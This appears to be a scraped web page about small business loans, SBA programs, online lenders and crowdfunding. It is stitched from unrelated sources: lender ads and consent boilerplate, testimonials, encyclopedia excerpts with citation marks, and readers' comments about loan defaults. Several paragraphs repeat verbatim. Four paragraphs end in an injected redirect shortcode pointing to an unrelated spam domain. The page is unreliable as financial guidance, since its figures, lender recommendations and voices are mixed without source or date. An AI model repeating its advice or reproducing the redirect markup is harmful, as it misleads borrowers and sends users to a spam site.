Small business loans are on the rise, with the  U.S. Small Business Administration  reporting that approximately $11 billion was approved across small business loan programs for the entire year of 2012. And yet, that amount had already almost doubled—hitting $18.9 billion—by mid-2017.

Microlenders and nonprofit lenders can be a less difficult route, especially if you have shaky finances. Many focus on minority or traditionally disadvantaged small-business owners, as well as small businesses in communities that are struggling economically.

SBA-backed loans are in principle open to any small business, but yours will need to meet certain criteria in order to qualify. And even if you meet the federal government’s qualifications, you still need to apply to a commercial lender and be approved.

Crowdfunding is the act of raising small amounts of money from a large number of people. Crowdfunding investments are usually handled through an online platform. Entrepreneurs looking to crowdfund capital for their business generally give equity or some type of reward in exchange for the funds.

Always consider–in most cases it should be your first consideration–working with Small Business Administration-backed (SBA) lenders. Many businesses incorrectly assume they aren’t eligible. SBA loans often feature low interest rates and generous repayment terms. Also note that just because one SBA lender turns you down, not all lenders will do likewise.

Then ask your SBA district office for the names of a few approved lenders. The agency also recently set up the SBA Lender Match tool to match potential borrowers with lenders. Banks follow SBA guidelines but use their own underwriting criteria to evaluate loan applications.

“Nobody does a good job of providing financing to startup businesses because it’s the highest risk out there,” says Charles Green, founder of the Small Business Finance Institute. “You may have big ideas and plans in place, but you haven’t launched yet.”

Since your business has steady revenue and has been operating for more than a year, consider OnDeck and Kabbage. If your personal credit score is at least 500, OnDeck offers term loans up to $500,000, which is an attractive option for large expansion projects or buying expensive equipment. If you’re looking for short-term financing or need a smaller amount, consider Kabbage, which does not require a minimum credit score. Kabbage offers only six- or 12-month financing of up to $250,000 at high borrowing costs.

The SBA requires a personal guarantee from every owner with at least a 20% ownership stake and from others who hold top management positions. A personal guarantee puts you and your personal assets on the hook for payments if your business can’t make them.

Bank of America meets all SBA Preferred Lender Program eligibility criteria, including proficiency in processing and servicing loans.  Talk to a small business specialist by phone or in person to get a recommendation and start your application.

Late payment fee: This fee is self- explanatory-it’s charged when a loan payment is made past its due date. A late payment fee may be either a flat fee, frequently around $10 to $35, or a percentage of the payment amount or outstanding balance (often 2% – 5%).

By clicking “Get a Free Quote”, you (i) consent to receiving calls and text/SMS messages, including from an automatic dialing system or other similar system for marketing purposes, from Fora Financial or its agents at the telephone number(s) provided, including your mobile number; (ii) agree to Fora Financial’s Privacy Policy and Terms of Use; and (iii) acknowledge that this represents your electronic signature and understand that you are not required to provide consent in order to obtain a quote or get funding, and instead can call 1-877-514-8062.

“I remember the process being smooth and straightforward, it can be incredibly stressful; fortunately, OnDeck had quick questions and quick responses. I could see how much financing I was approved for and what that meant [regarding payback]. I had the opportunity to review everything before I took the loan. The speed and efficiency of the process were incredible. I was able to introduce my RecoveryWear line and increase sales 4X over.”

Like angel investing, you need to be ready to give up equity and have the ability to scale your business quickly if you want to find venture capital investors. VC’s are looking for businesses ready to become a large business worth substantially more than they are today, and you need to have something that makes you stand out in your industry.

Benefits of SBA loans include lower down payments and longer repayment terms than conventional bank loans, enabling small businesses to keep their cash flow for operational expenses and spend less on debt repayment. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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Prepayment penalty: Prepayment penalties are charged for prepaying on a loan balance. Prepayment penalties may be included in the loan contract as a way to protect the lender from the loss of paid interest arising from prepayment or early payment.

Prior to submitting your application, it is important to consider the documents you’ll need to compile. We require your business’s three most recent bank statements and our one-page application to get started. Depending on other factors, a lender may request a month-to-date bank statement, tax returns, P&L and balance sheet.

HUBZone is an SBA program for small companies that operate and employ people in Historically Underutilized Business Zones (HUBZones). The HUBZone program was created in response to the HUBZone Empowerment Act created by the US Congress in 1998.

• Develop your business plan. You need to have a business plan that states in writing what your business is, what you need money for, and why you will be successful. If you have a 25-page business plan already, you can update the Executive Summary section with information about your financing needs. If you don’t have a business plan, you need to develop one — even a five-page document will be more impressive than none at all. Templates and software are available online to provide valuable guidance. For example, SCORE has a template that provides considerable help. Inc. also has a guide on how to write a business plan. “It is useful to have an experienced businessperson review and critique the draft business plan,” Anderson says. In addition, Cruz adds, have someone review your plan for grammar and spelling.

Regular e-mail is not secure. Our e-mail addresses are provided for inquiries of a non-sensitive and non-confidential nature. Please do not send confidential information such as Social Security Numbers or account numbers to us via regular e-mail.

Some online lenders do not require collateral but may want a personal guarantee. Others may also take a blanket lien on your business assets — essentially another form of collateral — giving the lender the right to take business assets (real estate, inventory, equipment) to recoup an unpaid loan. Each lender has its own requirements, so don’t be afraid to ask questions if you are unsure.

• Review your credit report. “A major consideration for a lender to make a loan is the ‘character’ of the borrower,” Anderson says. “Lenders want to loan money to people who have a positive track record for paying their obligations as agreed.” The “Fair Isaac Credit Score” (FICO) is one measure used to evaluate character. Credit scores can range from 300-850, and it is very important that you have a relatively high score to be able to secure a SBA loan. While some SBA loans may be made with FICO scores below 700, potential borrowers with scores in the high 700s or 800s are generally greeted with respect by lenders. You can review your credit reports — for free — from all three credit-reporting companies — Experian, Equifax and TransUnion — once per year to insure that they are accurate. You need to be prepared because the bank will pull the credit reports on you. If you find mistakes on your credit reports, take steps to correct those mistakes and bring the e-mails, letters, and other correspondence with you to the bank when applying for a loan. “When you go to the bank, you can say, ‘It’s a mistake. It’s not me.’ And you have the letter to show them,” says Cruz. “At least it’s not a surprise to you. You don’t want to be surprised.” Professionals also can provide guidance for improving credit scores. Personal income tax reports for three years will be required for all parties that own at least 20 percent of the company’s equity. A weak FICO Score from a 20 percent to 25 percent owner can badly damage the obtaining of a SBA Small Business Loan.

I had an SBA loan (w/ my ex-husband) in 2007. I overpaid each month and in 2011 decided to restructure my business (divorced in 2009, ex still on loan docs). Contacted the bank who said I could defer to interest only for 3-6 months if paperwork was filled out by both parties. I filled mine out and submitted, ex SAID he did same. Received no statements from bank, so assumed (my fault – ass out of you & me) that everything was fine. Get ready to make payment in Oct (deferment started. In Mar) and saw that the bank had pulled $32,000 out of my accnts! No judgment, no court date. My ex never turned in the paperwork, so I was in default. But $32,000? How can they take that money (including money from 2 trust accnts) with no notice to me? And I was in that bank at least 2 x per week, and no one ever said, hey – you need to pay your SBA loan. Is it legal to just remove $$ from an account w/ no judgment?

Jeff White is a staff writer and financial analyst at Fit Small Business, specializing in Small Business Finance. As a JD/MBA, he has spent the majority of his career either operating small businesses (in the retail and management consulting spaces) or helping them through M&A transactions. When he is not helping small businesses, he spends his time teaching his five kids how to become entrepreneurs. Jeff lives in Seattle, Washington.

As mentioned earlier, online lenders may provide funding (and quickly) if other alternatives fail, especially for those with bad credit. Aside from higher interest rates, Internet lenders are known for onerous terms and poor transparency, so be sure you really need the money–and can pay it back–if you go this route.

In 2007 my business went under. I had an SBA guaranteed loan that I defaulted on for $22K (original balance $25K) with no means to repay. I received a 1099C cancellation of debt from the lender on 9/30/07 for the full amount due on the loan. Monday, 9/16/13, my employer received an order for administrative wage garnishment from the Dept. of Treasury on behalf of the SBA. Can they collect on a cancelled debt? I of course, have filed for a dispute hearing on the basis the debt has been cancelled is no longer owed. Any help would be much appreciated. If feel like I’m living a nighmare all over again.

A crowdfunding site like Kickstarter.com can be a fun and effective way to raise money for a relatively low cost, creative project. You’ll set a goal for how money you’d like to raise over a period of time, say, $1,500 over 40 days. Your friends, family, and strangers then use the site to pledge money. Kickstarter has funded roughly 1,000 projects, from rock albums to documentary films since its launch last year. But keep in mind, this isn’t about long-term funding. Rather, it’s supposed to facilitate the asking for and giving of support for single, one-off ideas. Usually, project-creators offer incentives for pledging, such as if you give a writer $15, you’ll get a book in return. There’s no long-term return on investment for supporters and not even the ability to write off donations for tax purposes. Still, that hasn’t stopped close to 100,000 people from pledging to Kickstarter projects. 

Small Business Loan Guide With so many options to choose from, how do you decide which loan program is right for your small business? Our simple guide will help you decide which programs will be best for your business needs, just follow these steps to get started:

The important takeaway is how much more restrictive a CDC / SBA 504 loan is compared to an SBA 7(a) loan. You can not use the proceeds of a 504 loan for working capital, debt refinance, non-owner occupied / investment real estate, etc. You can read more on the SBA’s website.

The SBA International Trade Loan (ITL) can be used to buy, renovate, or repurpose facilities and/or equipment located in the U.S. in order to expand into new or existing foreign markets. This loan can also be used to to refinance existing debt.

Government loans are typically offered through banks and credit unions that partner with the Small Business Administration (SBA). The SBA is a U.S. government body, with the motive of providing support for small businesses and entrepreneurs. For each loan authorized, a government-backed guarantee offers serious credibility, since the lender knows that even if you default, the government will pay off the balance. These loans can be applied to a number of uses, such as:

The SBA does not make loans directly to small businesses. Rather, it sets the guidelines for loans, which are made by lending partners nationwide, including banks and economic development organizations. The SBA guarantees a percentage of the loan, minimizing risk to the lending partners and increasing the possibility that small businesses will receive the funds they need.

Small Asset-Based Line of Credit: SBA line of credit that that allows small businesses to convert short-term assets (like pending invoices) into cash. Stricter servicing requirements are waived by the SBA in return for offering a smaller credit line. Up to $200,000

The SBA guarantee reduces the risk for lenders, allowing lenders to make loans to businesses that they would otherwise not lend to. For example, businesses with insufficient down payments or collateral for conventional bank loans may be able to qualify for a loan that’s backed by an SBA guarantee. Similarly, borrowers usually receive loans with lower interest rates and longer repayment terms than they would with conventional commercial loans.

As a marketplace lender, we can provide funding programs for business owners with bad credit history, newer businesses and those businesses that perform well but can’t show it with financial statements. Our financing terms can range from 6 months to 10 years! With our common sense process, we approve a large percentage of our applications and are able to our clients significantly more capital. It only takes a few seconds to apply and less than 24hrs for approval. Apply Now!

Many small-business owners use credit cards for funding. Business credit cards are best for short-term expenses. Research has shown that small businesses that rely heavily on credit card financing typically fail.

Running a successful business is hard no matter who you are. The good news is that, thanks to training received in the military, veterans have skills that lend themselves particularly w… Read More November 3, 2015

Every business is different. We’d like to partner with you to understand your needs so we can help customize a business lending solution for you now, while also proactively helping you plan for the future. Simply answer a few questions, and we’ll contact you to discuss your best financing options.

One of the first steps toward a professionally managed private equity and capital industry was the passage of the Small Business Investment Act of 1958. The 1958 Act officially allowed the SBA to license private “Small Business Investment Companies” (SBICs) to help with financing and managing small entrepreneurial businesses in the United States. Passage of the Act addressed concerns raised in a Federal Reserve Board report to Congress that concluded that a major gap existed in the capital markets for long-term funding for growth-oriented small businesses. Additionally, it was thought that fostering entrepreneurial companies would spur technological advances to compete with the Soviet Union. Facilitating the flow of capital through the economy up to the pioneering small concerns in order to stimulate the U.S. economy was and still is today the main goal of the SBIC program.[24] The passage of the Small Business Investment Act of 1958 by the federal government was an important incentive for would-be venture capital organizations.[citation needed] The act provided venture capital firms structured either as SBICs or Minority Enterprise Small Business Investment Companies (MESBICs) access to federal funds which could be leveraged at a ratio of up to 4:1 against privately raised investment funds. In 2005, in response to extensive losses incurred in connection with tech boom investments, the SBA decided to wind down its “Participating Securities” SBIC program, which had provided equity-like SBA backing for equity-oriented SBIC funds. The SBA’s “Debenture” SBIC program, the original SBIC vehicle founded in 1958, continues to license and contribute capital to SBIC funds.[citation needed] The SBIC program had its highest ever year in Fiscal Year 2010.[25]

A big advantage of getting a business line of credit as opposed to a term loan is that you don’t pay interest on a business line of credit unless you actually use the funds. Meeting short term working capital needs without taking in long term debt can save businesses on interest and help the balance sheets.

Because you’re just starting out and your personal credit score is below 600, your best bet is microloans through nonprofit lenders or the U.S. Small Business Administration. The downside is these are “micro” amounts of money, usually no more than $50,000. However, many microlenders help businesses grow and establish better credit. SBA microloans generally have an APR of 8% to 8.5% and manageable repayment terms. Successfully repaying microloans will boost your credit score and make you eligible for bigger financing.

The short answer is the score is calculated by looking at personal and business credit history, as well as other business financial information, like: age of the business, number of employees, financial data, such as revenue and assets. It truly is a global view of a business’s overall financial health!

My business has great potential, but under our current circumstance, growth is impossible. It seems to me, that you have the ability and experience to help me do what want. Reduce and restructure the loan.

If you have a credit score above 680 (check here for free), have been in business for 2 years, are profitable, and need up to $350K, we recommend applying with SmartBiz for a streamlined SBA 7a loan. They can get you funded in as quick as 30 days. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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• Prepare financial projections. A lender is going to want to see some evidence that you’ll be able to pay back the loan. The most important information you can provide a lender is a cash-flow projection. A monthly cash-flow projection of 12 to 24 months or more may be required by the lender; however, this period may vary by lender and/or type of business. “Cash is the ‘life blood’ of small business, and you and the lender need to take precautions to be sure that you will not run out of cash,” Anderson says. It also may be necessary to provide projections of profit & loss statements and/or balance sheets. Again, this will vary by lender and/or type of business.

A small business loan obtained by a startup is often used to buy any necessary property, buildings, equipment, or inventory to put the business owner’s dream into action. It can also be used to give you a little working capital as you strive to get your business up on its feet and running.

Denise, your situation is like many others that we deal with on a daily basis here at Bridge Management. Feel free to email me anytime at [email protected] and I can give you some insight that the bank would accept for payment plan options to prevent this from getting passed to the Treasury Department.

Perhaps the most common way of financing a new small business is to borrow money from friends or family. Of course, if your credit is bad — and your family and friends know it — you’ll have to persuade them that you’ll be able to pay them back.

From the very first call, your loan specialist is always there for you. OnDeck Loan Specialists work with business owners like you every day, so they’ll be able to answer questions about business loans, industry challenges, and picking the best financing for your situation.

CDC / SBA 504 Loan This program combines a loan from a nonprofit CDC with a loan from a bank to create a long term, low interest rate loan for up to $20 million for the purchase of owner occupied commercial real estate and heavy equipment Rates: 3.78 – 5.39%

Small businesses are viewed as higher risk for lenders. The SBA loan guarantee program encourages lenders to work with small businesses. In return the lenders adhere to specific lending terms, interest rate caps, and other criteria set out by the SBA.

I had a SBA loan to my company through a local bank I had some medical issues and fell behind on my loan the bank sent out forclousure letters my wife an I panicked and hired a lawyer to help us and that did not go over well he had told us not to pay he would work it out about 8!months later we went into a forbearance agreement and we started to make the payments every month after a year the bank foreclosed again and we had to hire another attorney

In general, SBA Disaster Loans are used to recover from a declared disaster or the loss of a key employee. But each Disaster Loan can be used differently and you can apply for multiple types of Disaster Loans at the same time to meet your needs. There are three types of SBA Disaster loans for small businesses:

SBA loans provide financing for almost any business purpose, including real estate purchase, business acquisition or startup, equipment, inventory, and competitor and partner buyouts. Loan amounts from $250,000 to $11.25 million.Referral Network ResourcesLearn More

Another important distinction is that while 7(a) and 504 loans come from third party lenders, microloans come directly from government funds, which are administered by local nonprofits in each community. Collateral and a personal guarantee are still required.

Many business owners report feeling stressed when applying for a small business loan. It seems that lenders are asking for more and more documentation with each passing day. In reality, most lenders have a standard discovery list of documents that are required to apply for and process a loan. Knowing which documents will be required and getting that documentation in order before you apply for your business loan can reduce your stress and speed-up approval of your loan.

1 Factor rate is the financing cost divided by the loan amount – but that’s not how traditional interest rates work. For example, if you pay 30 cents for a one-year loan of one dollar, your factor rate is 30% but is equivalent to a 55% interest rate! Factor rates can make short-term loans appear less expensive than a traditional interest rate would.

If you prefer that we do not use this information, you may opt out of online behavioral advertising. If you opt out, though, you may still receive generic advertising. In addition, financial advisors/Client Managers may continue to use information collected online to provide product and service information in accordance with account agreements.

If you have a credit score above 680 (check here for free), have been in business for 2 years, are profitable, and need up to $350K, we recommend applying with SmartBiz for a streamlined SBA 7a loan. They can get you funded in as quick as 30 days.

Your job is to enter that stuff, then kick back – maybe treat yourself to a smoothie or something. That’s it. One of our funding managers will get back to you within 24-48 hours to help you with the rest of it.

With your strong personal credit and steady revenue, Lending Club, SmartBiz and OnDeck are good choices for expansion or refinancing. If you want the lowest rates, consider SmartBiz, which provides SBA loans. For big investments, OnDeck has the highest loan limit — $500,000 — but the loans will likely cost you more. Lending Club is a middle-ground option, with lower APR than OnDeck and easier qualifications than SmartBiz.

SBA loans do have some restrictions on how they’re used.  Funds guaranteed by the SBA can’t be used to fund an investment, or any passive business activity, like purchasing a building that will be leased to another business. They also can’t be used to reimburse a business owner for money previously invested, or repay any money owed to the government, such as taxes.

We just settled an SBA loan default for an LLC and received a 1099 C cancellation of debt in the mail addressed to the LLC which was defunct in 2009. I do not file a business return anymore since it was closed and all assets were liquidated. Where do not know where to report this this cancelation of debt amount. We only file personal returns now. Is this cancelation amount something we report to the IRS?

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The application process for an SBA line of credit through the CAPLines Program is similar to that for an SBA 7(a) loan. Lenders, like banks and credit unions, that participate in the SBA 7(a) program are likely to also participate in the CAPLines program. However, as we mentioned earlier, these lines of credit can be difficult to get as standalone products. Typically you’ll need to bring a lot of other business to a lender to have them find underwriting an SBA line of credit to be worth it.

Since you have strong personal credit but are still building revenue, you can turn to microloans or personal loans for financing. Microloans are designed especially to help underserved entrepreneurs launch and grow their businesses, but the loans are small and can carry APRs in the low teens. With strong credit, personal loans are another option, but funding typically tops out at $35,000.

We had a agricultural business that closed in July of this year. We have a SBA backed 7a loan with a small local bank that holds a second on our property for $548,000.00 with a unconditional guarantee from our parents who are also farmers and are going out of business too. We also have a first loan on our property for $248,000.00. Along with those loans we had 2 operating lines of credit totaling $40,300.00 that were with the small bank who is also is the SBA backed lender but these lines are third and fourth liens. We have been very open and honest with our bank and even told them we were going to miss our payment about a month before it was due so we could work out a solution. Since then we are now about 1 month late on the loan. We have handled the sale of all of the business assets for our bank and have notified them of all sales. We have also maintained the property and all structures.

Many small-business owners use credit cards for funding. Business credit cards are best for short-term expenses. Research has shown that small businesses that rely heavily on credit card financing typically fail.

“OnDeck’s process was very streamlined. I called them up, told them what I wanted to do, filled out some paper work, and within a couple days I had the money deposited in my bank account. I highly recommend OnDeck to any small business looking to grow. It has been very good for us — my business has grown 59% since I started working with OnDeck.” [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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Preferred by lenders and small business owners alike, SBA loans promise low interest rates, longer repayment terms and no ballooning costs, making monthly payments manageable for small business or franchise owners. Additionally, SBA 7(a) loans can be combined with other forms of small business financing to help you reach your funding needs. In fact, you could even use money from your retirement account to cover the down payment for an SBA loan with 401(k) business funding.

Because you have strong credit but your revenue doesn’t quite meet the requirements of most online lenders, consider Fundbox or a business credit card. Business credit cards are a solid option for ongoing working capital and provide quick access to cash, spending rewards and sign-up bonuses. If your business has unpaid customer invoices, you can take a cash advance against those invoices through Fundbox, although you’ll likely pay a higher APR than you would with a business credit card.

The Small Business Administration (SBA) is a United States government agency that provides support to entrepreneurs and small businesses. The mission of the Small Business Administration is “to maintain and strengthen the nation’s economy by enabling the establishment and viability of small businesses and by assisting in the economic recovery of communities after disasters”. The agency’s activities are summarized as the “3 Cs” of capital, contracts and counseling.[3]

An unsecured loan, sometimes referred to as a signature loan or a merchant loan, is a special type of financing available to business that is different from traditional lending. Instead of requiring collateral to obtain financing, unsecured lending uses several other factors to judge the eligibility of a loan applicant. These could include things such as your credit score and sales records from the business. This type of financing may be advisable for small business owners who do not want to risk their personal collateral in order to obtain the financing they need. Since the loan requirements differ from traditional bank loans, the interest rates and speed of approval can be much different. Oftentimes these merchant loans are reviewed and approved in a very short time frame, making them ideal for anyone who is in need of immediate capital.

Unsecured loans differ drastically from secured loans, including the application requirements. Merchant business lending is not centered on collateral or personal assets, and instead focuses on other factors of your business to determine loan worthiness. Some factors that can help with acquiring an unsecured loan might include your credit history, sales records, business growth, and projected financial income.

Hi Jeff, You can access your SBSS score as part of our Premium Plus account plan. We’ll tell you if your score is high enough to pass the SBA’s pre-screen and also give you personalized tips to help you improve your score. Keep in mind, many large banks use FICO SBSS for all their business loans too. The score is calculated by looking at your personal and business credit, so it’s an easy way to track your overall credit health as a business owner.

FICO® LiquidCredit® Small Business Scoring Service℠, (or FICO® SBSS℠ score) is one of the three main business credit scores. It’s the one credit score all business owners should know, but many have never heard of it because, until now, it’s been hard to get your hands on it. Banks aren’t required to disclose that they use the FICO® SBSS℠ score and very little information exists about it online. More lenders are using it because it helps them make faster, more accurate lending decisions. This means they can make decisions in hours, not days.

Your business must operate as a for-profit company and you can’t be on the SBA’s ineligible businesses list, which includes life insurance companies, financial businesses such as banks and real estate investing.

Whether a business loan, a car loan or a mortgage, the first question a lender will ask you is “how much do you want?” As a business owner you should ask yourself “how much can I afford to repay, and on what terms”, then work back from there.

The founders of a new business tend to place unrealistic valuations on the business. To avoid giving friends and family a “bad” deal, a loan that pays a good interest rate might be the fairest approach.

Applying for an SBA loan is a time-consuming process that might take your focus away from running your company. So for some small-business owners, especially those just starting out, it might not be worth the hassle.

Lenders will focus on this metric as well. The amount you can afford to repay can usually be determined by knowing and understanding you Debt Service Coverage Ratio. This is the standard practice lenders use to calculate how much free cash you have to repay debt. Your debt service coverage ratio is a simple equation:

APR starts at 5% but depends on the type of equipment you’re getting and where you’re borrowing from. For example, equipment dealers might charge you a higher interest rate than banks, but banks might have fees attached to their financing that other lenders don’t have.

*For example a three-year $10,000 loan with a Prosper Rating of AA would have an interest rate of 5.32% and a 1% origination fee for an APR of 5.99% APR. You would receive $9,900 and make 36 scheduled monthly payments of $302. A five-year $10,000 loan with a Prosper Rating of A would have an interest rate of 7.69% and a 5% origination fee for an APR of 9.88% APR. You would receive $9,500 and make 60 scheduled monthly payments of $201.28. Origination fees vary between 1%-5%. Annual percentage rates (APRs) through Prosper range from 5.99% APR (AA) to 35.99% APR (HR) for first-time borrowers, with the lowest rates for the most creditworthy borrowers. Eligibility is not guaranteed, and requires that a sufficient number of investors commit funds to your account and that you meet credit and other conditions. Refer to Borrower Registration Agreement for details and all terms and conditions. All loans made by WebBank, member FDIC.

Even small equity owners might believe that they have the right to have a major say in the strategy and operations of the business. You may not want to be constantly getting business advice from your uncle.

The short answer is the score is calculated by looking at personal and business credit history, as well as other business financial information, like: age of the business, number of employees, financial data, such as revenue and assets. It truly is a global view of a business’s overall financial health!

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Subject to credit approval and program guidelines. SBA loans are subject to SBA eligibility guidelines. Certain restrictions apply to refinancing options and are subject to program terms. Refinances of existing SBA loans are excluded.

Finding financing when you’re starting a business can be difficult, but the eleven options we’ve discussed above should work for most small businesses. If you’re looking to get financing to purchase an existing business or to fund a franchise, startup business loans might not be your only option.

Small-business grants from private foundations and government agencies are another way to raise startup funds for your small business. They’re not always easy to get, but free capital might be worth the hard work for some new businesses.

Those with poor credit in a business-to-business environment that have receivables can use them as collateral. Alternative lenders, such as so-called Internet lenders, will charge higher interest rates, but generally have more relaxed standards.

One of the best options you have when your business is facing a short-term financial need is an unsecured business loan – and you won’t have to risk important company assets. There’s also no risk to your home, vehicles, or long-term assets like a 401(k) or IRA.

With banks reluctant to take any chances with their own money in the wake of the credit crisis, loans guaranteed by the U.S. Small Business Administration have become a hot commodity. Indeed, funds to support special breaks on fees and guarantees on SBA-backed loans have run out a number of times. And while SBA-backed loans are open to any small business, there are a number of qualifications, including:

In addition to interest, you’ll have to pay fees on your SBA loan, including the SBA guarantee fee (for loans above $150K), referral and packaging fees, and closing costs. These fees are explained in detail in our article on SBA Loan Rates. We also offer an SBA Loan Calculator if you want to estimate monthly payments on an SBA 7a loan.

The main difference between an unsecured and a secured loan is the collateral required. There are pros and cons to all lending options that business owners should consider in order to come to an informed financial decision for their business.

The zip code you entered is served by Citizens One, the brand name for Citizens Bank’s lending business outside of our 11‑state branch footprint.  Under the Citizens One brand we offer Auto Loans, Credit Cards, Mortgages, Personal Loans and Student Loans. To learn more, please visit:

SBA Economic Injury Disaster Loans (EIDLs): Short- to medium-term working capital loans to help businesses that have suffered significant economic injury meet normal operating expenses. Do not need to be a for-profit business.

It’s important to remember, however, that credit cards are an expensive way of financing a small business, particularly if you have bad credit. That’s because card issuers determine annual percentage rates based largely on your personal credit scores. And research has shown that small businesses that rely heavily on credit card financing typically fail.

The Cato Institute has challenged the justification of the federal government in intervening in credit markets.[26][27] Among other criticisms, Cato argues that “the SBA benefits a relatively tiny number of small businesses at the expense of the vast majority of small business that do not receive government assistance. SBA subsidies also represent a form of corporate welfare for the banking industry.” Cato notes that the failure rate of all SBA loans from 2001 to 2010 is 19.4%,[26] contributing to a cost to taxpayers of $6.2 billion in 2011.[28]

• Your business may need to meet other criteria depending on the type of loan. The SBA has variety of loan guarantee programs for different purposes. These are explained below. Make sure to check the qualifications for the particular loan you want to determine your eligibility before applying.

The trade off is that the SBA, as a federal agency, is promoting certain policy agendas. This results in SBA loans having strict requirements that the borrower must meet in order to qualify for the loan, including how the proceeds of the loan can be used.

Unsecured business loans can come in the form of credit cards, personal loans, corporate bonds, and payday loans. Interest rates tend to be higher and come with a shorter repayment period, which results in a lower amount paid towards interest. There is no collateral required for this loan agreement.

An unsecured business loan is a loan that does not require the borrower to pledge assets of the company to borrow funds. However, in most cases an unsecured loan requires a personal guarantee of repayment and will generally have a higher interest rate and fees.

Large bank institutions, such as Chase, Bank of America and Wells Fargo, generate the bulk of their SBA loan volume by loans, especially the express loan and line of credit, offered to those who would be declined for ‘normal’ bank credit due to factors such as length of time in business or slightly more conservative underwriting factors. Banks have sophisticated computer systems that generally make this process seamless, and are quite different from other financial institutions who utilize SBA lending for separate and distinct purposes.

You may qualify for an SBA Military Reservist Economic Injury Loan if an essential employee is called for active military duty and the loss results in an inability to meet normal operating expenses. If the business is already covered by key man insurance or other business interruption insurance, the amount of the loan will reduce by the amount of coverage.

In order to get a HEL or HELOC, you’ll need to have 20%+ equity in your home, but the rule of thumb is between 30-40% minimum because the loans typically max out at 80% loan to value (LTV). A HEL gives you a lump sum, which acts like a second mortgage, and a HELOC works like a credit card or business line of credit. Let’s take a look at who each option might be right for. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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Crowdfunding has become a popular way for small businesses to raise money, thanks to such sites as Kickstarter and Indiegogo, which let you solicit funds through online campaigns. Instead of paying back your donors, you give them gifts, which is why this system is also called rewards crowdfunding.

Late payment fee: This fee is self- explanatory-it’s charged when a loan payment is made past its due date. A late payment fee may be either a flat fee, frequently around $10 to $35, or a percentage of the payment amount or outstanding balance (often 2% – 5%).

SBA Export Working Capital Loan: Funding up to $5 million in working capital to fund export transactions with long when the small business has a purchase order from a foreign customer. Terms typically under 12 months, but up to 3 years.

CDC / SBA 504 Loan This program combines a loan from a nonprofit CDC with a loan from a bank to create a long term, low interest rate loan for up to $20 million for the purchase of owner occupied commercial real estate and heavy equipment Rates: 3.78 – 5.39%

Don’t be a fad-follower: Did you start your company because you are truly passionate about your idea or because you want to cash in on the latest trend? Angels can spot the difference and won’t give much attention to those whose companies are essentially get-rich-quick schemes.

SBA 7a Loans These loans, as large as $5 million, can be used for working capital, to refinance debt, or to buy a business, real estate, or equipment. The 7a program includes SBA Express Loans and SBA Advantage Loans Rates: 5.75 – 10%

SBA Export Loans Designed to help small businesses fund new exporting operations and offer cash flow solutions to small business so they can offer more flexible terms to their international customers. Rates: 5.75 – 10%

For example, SmartBiz, an online lender that specializes in SBA loans, offers APRs of 8.27% to 9.57% for regular 7(a) loans and 6.36% to 6.41% for its 7(a) commercial real estate loans. Live Oak Bank, established in 2007, offers SBA loans with APRs of 5.75% to 7.75%.

The U.S. Small Business Administration, or SBA, is a federal agency that provides loan guarantee programs to businesses that may not be able to get traditional bank loans and receive long-term, low interest rate funding. The SBA has a number of loan programs designed specifically for small and medium sized businesses, including microloans, SBA 7(a) loans, and CDC/504 loan program.

Using a credit card to fund your business is some serious risky business. Fall behind on your payment and your credit score gets whacked. Pay just the minimum each month and you could create a hole you’ll never get out of. However, used responsibly, a credit card can get you out of the occasional jam and even extend your accounts payable period to shore up your cash flow.

SBA has at least one office in each U.S. state. In addition, the agency provides grants to support counseling partners, including approximately 900 Small Business Development Centers (often located at colleges and universities), 110 Women’s Business Centers, and SCORE, a volunteer mentor corps of retired and experienced business leaders with approximately 350 chapters. These counseling services provide services to over 1 million entrepreneurs and small business owners annually. President Obama announced in January 2012 that he would elevate the SBA into the Cabinet, a position it last held during the Clinton administration,[6] thus making the Administrator of the Small Business Administration a cabinet-level position.

There are two loan approvals you’ll need to obtain. First, your bank must review your application and decide whether you meet their qualifications for funding, subject to SBA approval. Banks are obligated to observe the “credit elsewhere” rule, meaning that if your company is qualified for a loan from any other source without the credit insurance provided by SBA, you should be sent there.

The SBA doesn’t make loans itself, but rather establishes guidelines for loans that it will guarantee made by a range of partners, such as banks and other lenders, economic development organizations, and micro-enterprise lenders. By guaranteeing that the loans these institutions make to small business will be repaid, the federal government diminishes some of the risk to financial institutions so that they are more likely to consider lending to small businesses — businesses they likely would have turned down without those guarantees. (See “Does the SBA Still Matter?” by Robb Mandelbaum, May 2007.)

This article should have armed you with enough information on the 6 types of SBA loans to help you decide which one is right for you. If you don’t think any of the SBA loans are right for you, there are plenty of other financing options available for you, which you can learn about by reading our other articles.

Note: The rates and terms of SBA Microloans are similar to those with most peer-to-peer loans. But peer-to-peer loans can be approved in minutes without much paperwork whereas SBA Microloans can take months to get approved and require extensive documentation. If your credit is above 660 (check here for free) then see what you prequalify for with Lending Club.

In general, SBA Export Loans are designed to help American small businesses expand their export activities, engage in international transactions, and enter new foreign markets. There are three types of SBA Export Loans:

Rand & Janeel, eyeSmith Sport & Fashion Optical; Kansas City, MO After raising eight children, Rand and Janeel were ready to start a new chapter for their family. The couple put their past business experience to good use and tapped into their retirement funds to start an independent eyewear business.

• Review your credit report. “A major consideration for a lender to make a loan is the ‘character’ of the borrower,” Anderson says. “Lenders want to loan money to people who have a positive track record for paying their obligations as agreed.” The “Fair Isaac Credit Score” (FICO) is one measure used to evaluate character. Credit scores can range from 300-850, and it is very important that you have a relatively high score to be able to secure a SBA loan. While some SBA loans may be made with FICO scores below 700, potential borrowers with scores in the high 700s or 800s are generally greeted with respect by lenders. You can review your credit reports — for free — from all three credit-reporting companies — Experian, Equifax and TransUnion — once per year to insure that they are accurate. You need to be prepared because the bank will pull the credit reports on you. If you find mistakes on your credit reports, take steps to correct those mistakes and bring the e-mails, letters, and other correspondence with you to the bank when applying for a loan. “When you go to the bank, you can say, ‘It’s a mistake. It’s not me.’ And you have the letter to show them,” says Cruz. “At least it’s not a surprise to you. You don’t want to be surprised.” Professionals also can provide guidance for improving credit scores. Personal income tax reports for three years will be required for all parties that own at least 20 percent of the company’s equity. A weak FICO Score from a 20 percent to 25 percent owner can badly damage the obtaining of a SBA Small Business Loan.

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Since your business is established and your revenue is solid, Funding Circle, SmartBiz and Credibility Capital are good financing options. SmartBiz, with loans up to $350,000, has low-rate SBA loans, but the application and funding process can take several weeks to a few months. If you want funding quicker, Funding Circle and Credibility Capital are alternatives.

